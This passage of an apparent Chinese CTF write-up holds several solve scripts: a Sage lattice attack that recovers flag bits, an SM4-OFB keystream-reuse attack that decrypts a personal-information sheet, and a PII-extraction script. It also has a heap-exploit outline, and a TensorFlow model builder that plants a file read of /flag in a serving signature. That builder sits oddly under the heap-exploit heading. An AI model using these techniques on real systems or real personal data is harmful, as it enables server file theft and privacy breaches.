7065211296316310929917647988477706260854777367720509215461102227370538671245933623485253881135209242186479608112449601079184899093566410058748022701249681, 5860016308325213119819184187670239564791333348087363680942925424162694462159018573839942821488405708712369104188452455045689910694321205617267927010904353, 5645361475249093719768450338234034726485554026640026662174673396653231400488355710059780115730446487495686330275120275600041319135689492356651341979038088, 6222727452583908397253535983805821930231388306224553254136976634073410340765549319231925139894850295061726002336384426016757007977849079223677773537255081, 3696429825336147971620059489168478959976463308851142886577508477570240282766636537964634680481107690278878090696361681958754963149721829332526387362213190, 7078032688626190314737342918176972325521293294689228613115610563935693105149448353402481648280874993385612176692849105916242678776294364778167973947550187, 3270971084919614392338441788730004011100304400583583883067217490582518979491757196768783495885678619945523947283699651895101048284585981169166481963660623, 2148843064997549913740046332281882693310226949255590440580489845028047589771544283453290518792858933379819319132584513015919677339284914344995646843998048, 1291525211756946411401294509523977729530718411866377519225168221934642683496562640471014219152338552064525235942687244806796479646413595124980238537943389, 4913307250241775374386695436715632464827403720055363596619529423169293536260965648729975796127464362240516770053847194323081306012483068777864581057200279, 6678281756307450766811979928838965105333300960175054010659048118393215643476339302253367353882325289237489247795405556958386170996096189421801964924482147, 657145172274590196493597590113130464259273254304875932677515103976617144895772233827673391830935998805215202067285182351547427598777010976174255888108237, 5254189861688322883166710121819982619221538207416112766290975591655559256081375216189936310254974303785089550027238530874504313982895640119168967142788774, 4107456224332124639796526866448719803417125732966259666717527193805945662592291598638635704829882984364017372324547020897502769788128092736578440387426559, 2858837243023389958060661218677166091417324132599396589197054884499323557500626489155371785733313327379967727003385933612324840437059452826759882016643192, 6834470718220476619599192939877802960626266906218601397992141268348842750307258845978436373245888045814447365868690654204442632005537885428710943936919252]
  8.   # 密文列表 CIPHERS
  9. # 初始化 Sage 数学环境
  10. modular_space = Zmod(MODULUS)
  11. poly_ring.<unknown> = PolynomialRing(modular_space)
  12. # 假设 flag 最低位为 1,计算初始 y² 值
  13. initial_cipher = ENCRYPTED_DATA[0]
  14. inv_base = pow(BASE, -1, MODULUS)  # 计算 BASE 在模 MODULUS 下的逆
  15. y_squared = (inv_base * initial_cipher) % MODULUS
  16. # 存储解密得到的二进制位(从最低位开始)
  17. binary_bits = "1"
  18. # 处理剩余密文
  19. for current_cipher in tqdm(ENCRYPTED_DATA[1:]):
  20.     found = False
  21.     # 尝试 0 和 1 两个可能的位值
  22.     for bit_candidate in [0, 1]:
  23.         # 计算左侧表达式值
  24.         base_power = pow(BASE, -bit_candidate, MODULUS)
  25.         left_hand_side = (current_cipher * base_power - y_squared) % MODULUS
  26.         
  27.         # 构造多项式并寻找小根
  28.         polynomial = (left_hand_side - unknown**2)**2 - 4 * unknown**2 * y_squared
  29.         small_roots = polynomial.small_roots(epsilon=1/20)
  30.         
  31.         if small_roots:
  32.             if found:
  33.                 print("[!] 警告:检测到重复匹配")
  34.             # 将找到的位添加到结果前端
  35.             binary_bits = str(bit_candidate) + binary_bits
  36.             found = True
  37.    
  38.     if not found:
  39.         print("[!] 该数据块未找到有效根")
  40. # 输出结果
  41. print(f"解密得到的二进制串: {binary_bits}")
  42. flag_integer = int(binary_bits, 2)
  43. decrypted_flag = long_to_bytes(flag_integer)
  44. print(f"解密后的flag: {decrypted_flag}")
复制代码
直接用在线环境打[Use SageMath Online](https://cocalc.com/features/sage
8.png

DS&AI

SM4-OFB
  1. import os
  2. import sys
  3. import argparse
  4. import hashlib
  5. import pandas as pd
  6. def hex_to_bytes(hex_str):
  7.     return bytes.fromhex(hex_str.strip())
  8. def generate_keystream(cipher_bytes, plaintext_bytes):
  9.     keystream = bytearray(len(cipher_bytes))
  10.     for idx in range(len(cipher_bytes)):
  11.         plain_byte = plaintext_bytes[idx] if idx < len(plaintext_bytes) else 0
  12.         keystream[idx] = cipher_bytes[idx] ^ plain_byte
  13.     return bytes(keystream)
  14. def decrypt(cipher_hex, keystream):
  15.     cipher_bytes = hex_to_bytes(cipher_hex)
  16.     if len(keystream) < len(cipher_bytes):
  17.         keystream_full = (keystream * ((len(cipher_bytes) // len(keystream)) + 1))[:len(cipher_bytes)]
  18.     else:
  19.         keystream_full = keystream[:len(cipher_bytes)]
  20.     plain_bytes = bytes([cipher_bytes[i] ^ keystream_full[i] for i in range(len(cipher_bytes))]).rstrip(b"\x00")
  21.     try:
  22.         return plain_bytes.decode("utf-8", errors="replace")
  23.     except:
  24.         return repr(plain_bytes)
  25. def locate_known_row(dataframe, name, phone, id_card):
  26.     for index, row in dataframe.iterrows():
  27.         cell_values = [str(cell).strip() for cell in row.values if pd.notna(cell)]
  28.         combined = "\t".join(cell_values)
  29.         if name in combined and phone in combined and id_card in combined:
  30.             return index
  31.     return None
  32. def decrypt_and_process():
  33.     parser = argparse.ArgumentParser(description="Decrypt personal information sheet with known plaintext.")
  34.     parser.add_argument("--input-file", "-i", default="个人信息表.xlsx",
  35.                         help="Input Excel or CSV file path (default: 个人信息表.xlsx)")
  36.     parser.add_argument("--known-name", default="蒋宏玲", help="Known plaintext name (default: 蒋宏玲)")
  37.     parser.add_argument("--known-phone", default="17145949399", help="Known plaintext phone number (default: 17145949399)")
  38.     parser.add_argument("--known-id", default="220000197309078766",
  39.                         help="Known plaintext ID card number (default: 220000197309078766)")
  40.     parser.add_argument("--target-name", default="何浩璐", help="Target name for ID MD5 calculation (default: 何浩璐)")
  41.     parser.add_argument("--output-file", "-o", default="个人信息表_decrypted.csv", help="Output CSV file path")
  42.     args = parser.parse_args()
  43.     input_path = args.input_file
  44.     if not os.path.exists(input_path):
  45.         alt_path = "个人信息表_raw.csv"
  46.         if os.path.exists(alt_path):
  47.             input_path = alt_path
  48.             print(f"[WARNING] Input file {args.input_file} not found, using {alt_path} instead.")
  49.         else:
  50.             print(f"[ERROR] Input file {args.input_file} not found. Please place the file in the current directory.")
  51.             sys.exit(1)
  52.     if input_path.lower().endswith((".xlsx", ".xls")):
  53.         df = pd.read_excel(input_path, header=None, dtype=str)
  54.     else:
  55.         df = pd.read_csv(input_path, header=None, dtype=str)
  56.     first_row = [str(val).strip() for val in df.iloc[0].fillna("")]
  57.     has_header = any("序号" in val or "姓名" in val or "手机号" in val or "身份证" in val for val in first_row)
  58.     if has_header:
  59.         df = df.copy().reset_index(drop=True)
  60.     known_row_idx = locate_known_row(df, args.known_name, args.known_phone, args.known_id)
  61.     if known_row_idx is None:
  62.         known_row_idx = 1 if len(df) > 1 else 0
  63.         print(f"[WARNING] Known plaintext row not detected automatically, using row index {known_row_idx} (0-based).")
  64.     else:
  65.         print(f"[INFO] Known plaintext row found at index {known_row_idx} (0-based).")
  66.     try:
  67.         name_cipher_hex = str(df.iat[known_row_idx, 1])
  68.         phone_cipher_hex = str(df.iat[known_row_idx, 2])
  69.         id_cipher_hex = str(df.iat[known_row_idx, 3])
  70.     except Exception as e:
  71.         print("[ERROR] Failed to read ciphertext columns at indices 1, 2, 3. File structure might be incorrect.", e)
  72.         sys.exit(1)
  73.     name_keystream = generate_keystream(hex_to_bytes(name_cipher_hex), args.known_name.encode("utf-8"))
  74.     phone_keystream = generate_keystream(hex_to_bytes(phone_cipher_hex), args.known_phone.encode("utf-8"))
  75.     id_keystream = generate_keystream(hex_to_bytes(id_cipher_hex), args.known_id.encode("utf-8"))
  76.     print(f"[INFO] Keystream lengths: name={len(name_keystream)}, phone={len(phone_keystream)}, id={len(id_keystream)}")
  77.     decrypted_rows = []
  78.     for row_idx in range(1, len(df)):
  79.         seq = str(df.iat[row_idx, 0]) if pd.notna(df.iat[row_idx, 0]) else str(row_idx)
  80.         try:
  81.             curr_name_hex = str(df.iat[row_idx, 1])
  82.             curr_phone_hex = str(df.iat[row_idx, 2])
  83.             curr_id_hex = str(df.iat[row_idx, 3])
  84.         except:
  85.             continue
  86.         decrypted_name = decrypt(curr_name_hex, name_keystream)
  87.         decrypted_phone = decrypt(curr_phone_hex, phone_keystream)
  88.         decrypted_id = decrypt(curr_id_hex, id_keystream)
  89.         decrypted_rows.append([seq, decrypted_name, decrypted_phone, decrypted_id])
  90.     decrypted_df = pd.DataFrame(decrypted_rows, columns=["序号", "姓名", "手机号", "身份证号"])
  91.     decrypted_df.to_csv(args.output_file, index=False)
  92.     print(f"[INFO] Decrypted data saved to {args.output_file}, total rows: {len(decrypted_df)}")
  93.     target_matches = decrypted_df[decrypted_df["姓名"].str.contains(args.target_name, na=False)]
  94.     if target_matches.empty:
  95.         print(f"[WARNING] No records found for name: {args.target_name}")
  96.     else:
  97.         for _, record in target_matches.iterrows():
  98.             id_card = str(record["身份证号"])
  99.             md5_hash = hashlib.md5(id_card.encode("utf-8")).hexdigest()
  100.             print(f"[RESULT] Name: {record['姓名']}, ID: {id_card}, MD5: {md5_hash}")
  101. if __name__ == "__main__":
  102.     decrypt_and_process()
复制代码
9.png

MD5: fbb80148b75e98b18d65be446f505fcc
dataIdSort
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. import re
  4. import csv
  5. def validate_idcard(idcard):
  6.     """验证身份证号"""
  7.     # 处理带横线和空格的格式
  8.     if '-' in idcard:
  9.         parts = idcard.split('-')
  10.         if len(parts) == 3 and len(parts[0]) == 6 and len(parts[1]) == 8 and len(parts[2]) == 4:
  11.             idcard_clean = ''.join(parts)
  12.         else:
  13.             return False
  14.     elif ' ' in idcard:
  15.         parts = idcard.split()
  16.         if len(parts) == 3 and len(parts[0]) == 6 and len(parts[1]) == 8 and len(parts[2]) == 4:
  17.             idcard_clean = ''.join(parts)
  18.         else:
  19.             return False
  20.     else:
  21.         idcard_clean = idcard
  22.    
  23.     # 18位身份证验证
  24.     if len(idcard_clean) == 18:
  25.         weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
  26.         check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
  27.         
  28.         if not idcard_clean[:17].isdigit():
  29.             return False
  30.         
  31.         # 验证出生日期
  32.         try:
  33.             year = int(idcard_clean[6:10])
  34.             month = int(idcard_clean[10:12])
  35.             day = int(idcard_clean[12:14])
  36.             if not (1900 <= year <= 2100 and 1 <= month <= 12 and 1 <= day <= 31):
  37.                 return False
  38.         except:
  39.             return False
  40.         
  41.         # 计算校验码
  42.         sum_val = sum(int(idcard_clean[i]) * weights[i] for i in range(17))
  43.         check_code = check_codes[sum_val % 11]
  44.         return idcard_clean[-1].upper() == check_code
  45.    
  46.     # 15位身份证验证
  47.     elif len(idcard_clean) == 15:
  48.         if not idcard_clean.isdigit():
  49.             return False
  50.         
  51.         try:
  52.             month = int(idcard_clean[8:10])
  53.             day = int(idcard_clean[10:12])
  54.             if not (1 <= month <= 12 and 1 <= day <= 31):
  55.                 return False
  56.         except:
  57.             return False
  58.         
  59.         return True
  60.    
  61.     return False
  62. def validate_phone(phone):
  63.     """验证手机号"""
  64.     digits = re.sub(r'[^\d]', '', phone)
  65.    
  66.     # 处理带86前缀的号码
  67.     if len(digits) == 13 and digits[:2] == '86':
  68.         digits = digits[2:]
  69.    
  70.     if len(digits) != 11 or digits[0] != '1':
  71.         return False
  72.    
  73.     # 验证手机号段
  74.     valid_prefixes = {
  75.         '134', '135', '136', '137', '138', '139', '147', '148', '150', '151',
  76.         '152', '157', '158', '159', '172', '178', '182', '183', '184', '187',
  77.         '188', '195', '198', '130', '131', '132', '140', '145', '146', '155',
  78.         '156', '166', '167', '171', '175', '176', '185', '186', '196', '133',
  79.         '149', '153', '173', '174', '177', '180', '181', '189', '190', '191',
  80.         '193', '199'
  81.     }
  82.    
  83.     return digits[:3] in valid_prefixes
  84. def validate_bankcard(card):
  85.     """验证银行卡号(Luhn算法 + 62前缀)"""
  86.     # 仅验证62开头的银行卡
  87.     if not card.startswith('62'):
  88.         return False
  89.    
  90.     if not card.isdigit() or len(card) < 16 or len(card) > 19:
  91.         return False
  92.    
  93.     # Luhn算法验证
  94.     total = 0
  95.     reverse_digits = card[::-1]
  96.    
  97.     for i, digit in enumerate(reverse_digits):
  98.         n = int(digit)
  99.         if i % 2 == 1:  # 偶数位置(从0开始计数)
  100.             n *= 2
  101.             if n > 9:
  102.                 n -= 9
  103.         total += n
  104.    
  105.     return total % 10 == 0
  106. def validate_ip(ip):
  107.     """验证IP地址"""
  108.     parts = ip.split('.')
  109.     if len(parts) != 4:
  110.         return False
  111.    
  112.     for part in parts:
  113.         try:
  114.             num = int(part)
  115.             if num < 0 or num > 255:
  116.                 return False
  117.         except ValueError:
  118.             return False
  119.    
  120.     return True
  121. def validate_mac(mac):
  122.     """验证MAC地址(xx:xx:xx:xx:xx:xx格式)"""
  123.     parts = mac.split(':')
  124.     if len(parts) != 6:
  125.         return False
  126.    
  127.     for part in parts:
  128.         if len(part) != 2:
  129.             return False
  130.         try:
  131.             int(part, 16)  # 验证是否为十六进制
  132.         except ValueError:
  133.             return False
  134.    
  135.     return True
  136. def extract_sensitive_data(text):
  137.     """从文本中提取敏感数据(去重+按位置排序)"""
  138.     results = []
  139.    
  140.     # 修复正则表达式:移除手机号模式中的$锚点,避免匹配失败
  141.     patterns = {
  142.         'phone': [
  143.             r'\+86\s*\d{3}\s+\d{4}\s+\d{4}',  # (+86)132 6239 9600 或 +86 132 6239 9600
  144.             r'\+86\s*\d{3}-\d{4}-\d{4}',      # (+86)174-1242-5004 或 +86 174-1242-5004
  145.             r'\+86\s*\d{11}',                 # (+86)18227196365 或 +86 18227196365
  146.             r'(?<!\d)\d{3}\s+\d{4}\s+\d{4}(?!\d)',  # 157 6118 9206
  147.             r'(?<!\d)\d{3}-\d{4}-\d{4}(?!\d)',      # 181-9714-3686
  148.             r'(?<!\d)\d{11}(?!\d)',                 # 15135915179
  149.         ],
  150.         'idcard': [
  151.             r'(?<!\d)\d{6}-\d{8}-\d{4}(?!\d)',  # 410122-19800821-6567
  152.             r'(?<!\d)\d{6}\s+\d{8}\s+\d{4}(?!\d)',  # 540124 20080916 4682
  153.             r'(?<!\d)\d{18}(?!\d)',           # 18位身份证(含末位X)
  154.             r'(?<!\d)\d{17}[Xx](?!\d)',       # 单独匹配末位为X的18位身份证
  155.             r'(?<!\d)\d{15}(?!\d)',           # 15位身份证
  156.         ],
  157.         'bankcard': [
  158.             r'(?<!\d)62\d{14,17}(?!\d)',      # 62开头的16-19位银行卡号
  159.         ],
  160.         'ip': [
  161.             r'(?<!\d)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?!\d)',  # IP地址
  162.         ],
  163.         'mac': [
  164.             r'[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}',  # MAC地址
  165.         ],
  166.     }
  167.    
  168.     # 按顺序提取:MAC→IP→手机号→身份证→银行卡(避免短格式被长格式覆盖)
  169.     extract_order = ['mac', 'ip', 'phone', 'idcard', 'bankcard']
  170.     for data_type in extract_order:
  171.         for pattern in patterns[data_type]:
  172.             matches = re.finditer(pattern, text, re.IGNORECASE)  # MAC地址忽略大小写
  173.             for match in matches:
  174.                 value = match.group()
  175.                 # 调用对应验证函数
  176.                 if data_type == 'phone' and validate_phone(value):
  177.                     results.append((data_type, value, match.start(), len(value)))
  178.                 elif data_type == 'idcard' and validate_idcard(value):
  179.                     results.append((data_type, value, match.start(), len(value)))
  180.                 elif data_type == 'bankcard' and validate_bankcard(value):
  181.                     results.append((data_type, value, match.start(), len(value)))
  182.                 elif data_type == 'ip' and validate_ip(value):
  183.                     results.append((data_type, value, match.start(), len(value)))
  184.                 elif data_type == 'mac' and validate_mac(value):
  185.                     results.append((data_type, value, match.start(), len(value)))
  186.    
  187.     # 按匹配位置排序
  188.     results.sort(key=lambda x: x[2])
  189.    
  190.     # 去重:排除重叠的匹配结果
  191.     unique_results = []
  192.     used_ranges = []  # 存储已使用的文本范围 (start, end)
  193.     for item in results:
  194.         data_type, value, start, length = item
  195.         end = start + length
  196.         # 检查是否与已保留结果重叠
  197.         overlap = False
  198.         for used_start, used_end in used_ranges:
  199.             if not (end <= used_start or start >= used_end):
  200.                 overlap = True
  201.                 break
  202.         if not overlap:
  203.             unique_results.append((data_type, value))
  204.             used_ranges.append((start, end))
  205.    
  206.     return unique_results
  207. def process_file(input_file, output_file):
  208.     """处理输入文件,提取敏感数据并保存为CSV"""
  209.     print(f"开始处理文件: {input_file}")
  210.    
  211.     all_results = []
  212.     line_count = 0
  213.    
  214.     # 读取输入文件
  215.     try:
  216.         with open(input_file, 'r', encoding='utf-8') as f:
  217.             for line_num, line in enumerate(f, 1):
  218.                 line_count += 1
  219.                 # 每处理100行打印进度
  220.                 if line_count % 100 == 0:
  221.                     print(f"已处理 {line_count} 行...")
  222.                
  223.                 # 提取当前行的敏感数据
  224.                 sensitive_data = extract_sensitive_data(line.strip())
  225.                 for data_type, value in sensitive_data:
  226.                     all_results.append({
  227.                         'category': data_type,  # 对应CSV的category列
  228.                         'value': value          # 对应CSV的value列
  229.                     })
  230.         
  231.         # 统计各类型数据数量
  232.         type_count = {}
  233.         for item in all_results:
  234.             cat = item['category']
  235.             type_count[cat] = type_count.get(cat, 0) + 1
  236.         
  237.         # 打印处理结果统计
  238.         print(f"\n处理完成:共处理 {line_count} 行,提取敏感数据 {len(all_results)} 条")
  239.         print("各类型数据统计:")
  240.         for cat, count in sorted(type_count.items()):
  241.             print(f"  {cat}: {count} 条")
  242.         
  243.         # 去重:基于 (category, value) 确保唯一性
  244.         unique_dict = {}
  245.         for item in all_results:
  246.             key = (item['category'], item['value'])
  247.             if key not in unique_dict:
  248.                 unique_dict[key] = item
  249.         unique_results = list(unique_dict.values())
  250.         
  251.         print(f"去重后剩余:{len(unique_results)} 条唯一数据")
  252.         
  253.         # 保存为CSV(UTF-8 with BOM,兼容Excel)
  254.         with open(output_file, 'w', encoding='utf-8-sig', newline='') as f:
  255.             # 定义CSV列顺序:category 在前,value 在后
  256.             fieldnames = ['category', 'value']
  257.             writer = csv.DictWriter(f, fieldnames=fieldnames)
  258.             writer.writeheader()
  259.             writer.writerows(unique_results)
  260.         
  261.         print(f"结果已保存到:{output_file}")
  262.    
  263.     except FileNotFoundError:
  264.         print(f"错误:输入文件 {input_file} 未找到,请检查路径是否正确")
  265.     except Exception as e:
  266.         print(f"处理过程中发生错误:{str(e)}")
  267. if __name__ == '__main__':
  268.     # 配置输入输出文件路径
  269.     INPUT_FILE = "C:\\Users\\26387\\Desktop\\ycb\\dataIdSort的附件\\tempdir\\DS附件\\dataIdSort的附件\\data.txt"    # 输入文本文件(需与脚本同目录)
  270.     OUTPUT_FILE = 'C:\\Users\\26387\\Desktop\\ycb\\dataIdSort的附件\\tempdir\\DS附件\\dataIdSort的附件\\result5.csv'# 输出CSV文件
  271.    
  272.     # 执行处理
  273.     process_file(INPUT_FILE, OUTPUT_FILE)
复制代码
10.png

11.png

Pwn

malloc


  • 利用 UAF 漏洞泄露 ELF 基地址
  • 篡改堆元数据实现任意地址读写
  • 泄露 libc 基地址和栈地址
  • 构造 ORW (Open-Read-Write) 链读取 flag
  1. # build_model_tfio.py
  2. # 使用纯 TensorFlow op 在 Graph 中读取 /flag 并作为 signature 返回
  3. # 运行环境需要安装 tensorflow (建议 tensorflow-cpu)
  4. #
  5. # 生成: model.zip
  6. import os
  7. import zipfile
  8. try:
  9.     import tensorflow as tf
  10. except Exception as e:
  11.     raise SystemExit("请先安装 TensorFlow: pip install tensorflow-cpu\n错误: " + str(e))
  12. OUT_DIR = "model_saved"
  13. ZIP_PATH = "model.zip"
  14. # 清理
  15. if os.path.exists(OUT_DIR):
  16.     import shutil
  17.     shutil.rmtree(OUT_DIR)
  18. if os.path.exists(ZIP_PATH):
  19.     os.remove(ZIP_PATH)
  20. # 纯 TF 的 serve 函数:在 Graph 中读取 /flag,确保返回 tf.Tensor (dtype=tf.string)
  21. @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
  22. def serve_fn(x):
  23.     # tf.io.read_file 是一个图操作,返回 tf.Tensor(dtype=tf.string, shape=())
  24.     data = tf.io.read_file("/flag")
  25.     # 为兼容一些加载器/调用方,明确设置形状(标量),或者扩展成 [batch] 形式:
  26.     # 1) 若调用端期待标量 string:直接返回 data
  27.     # 2) 若调用端以 batch 形式调用(输入是 [N,1]),可以把 data 扩成 [N]
  28.     #    下面示例把 data 重复为与输入 batch size 相同的向量
  29.     batch_size = tf.shape(x)[0]
  30.     data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size)  # shape [batch_size]
  31.     # 返回 dict,prediction 保持为 shape [batch_size] 的 tf.string 张量
  32.     return {"prediction": data_vec}
  33. # 备用的纯 TF signature(不读取文件),便于测试加载器是否能读取 SavedModel
  34. @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
  35. def noop_fn(x):
  36.     batch_size = tf.shape(x)[0]
  37.     const = tf.constant("MODEL_OK", dtype=tf.string)
  38.     vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)
  39.     return {"prediction": vec}
  40. # 保存 Module,并显式把 "serve" signature 写入
  41. class ModelModule(tf.Module):
  42.     @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
  43.     def __call__(self, x):
  44.         return serve_fn(x)
  45. module = ModelModule()
  46. tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop": noop_fn})
  47. # 打包为 zip
  48. with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:
  49.     for root, dirs, files in os.walk(OUT_DIR):
  50.         for fname in files:
  51.             full = os.path.join(root, fname)
  52.             arcname = os.path.relpath(full, OUT_DIR)
  53.             zf.write(full, arcname)
  54. print("SavedModel saved to:", OUT_DIR)
  55. print("Zipped to:", ZIP_PATH)
复制代码
12.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册